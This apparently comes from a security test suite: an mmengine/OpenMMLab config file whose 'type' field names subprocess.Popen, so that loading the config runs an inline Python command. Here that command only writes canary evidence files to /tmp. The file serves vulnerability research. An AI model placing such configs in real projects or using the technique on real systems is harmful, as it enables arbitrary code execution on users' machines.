| # mmengine / OpenMMLab config format | |
| # type → Registry.get() → fallback → importlib.import_module → cls(**cfg) | |
| # Shape: S3 | |
| model = dict( | |
| type='subprocess.Popen', | |
| args=['python3', '-c', | |
| 'import pathlib,datetime,json;' | |
| 'pathlib.Path("/tmp/polyglot_evidence").mkdir(exist_ok=True);' | |
| 'pathlib.Path("/tmp/polyglot_evidence/mmengine.txt").write_text(' | |
| 'f"CANARY FIRED — mmengine\\n"' | |
| 'f"Time: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\n"' | |
| 'f"Vector: type field → Registry fallback → importlib.import_module → Popen(**cfg)\\n"' | |
| 'f"Shape: S3 (registry fallback)\\n");' | |
| 'pathlib.Path("/tmp/polyglot_evidence/mmengine.json").write_text(' | |
| 'json.dumps({"event":"POLYGLOT_CANARY","framework":"mmengine",' | |
| '"timestamp":datetime.datetime.now(datetime.timezone.utc).isoformat(),' | |
| '"vector":"type→Registry.get()→importlib","shape":"S3"}))'], | |
| ) | |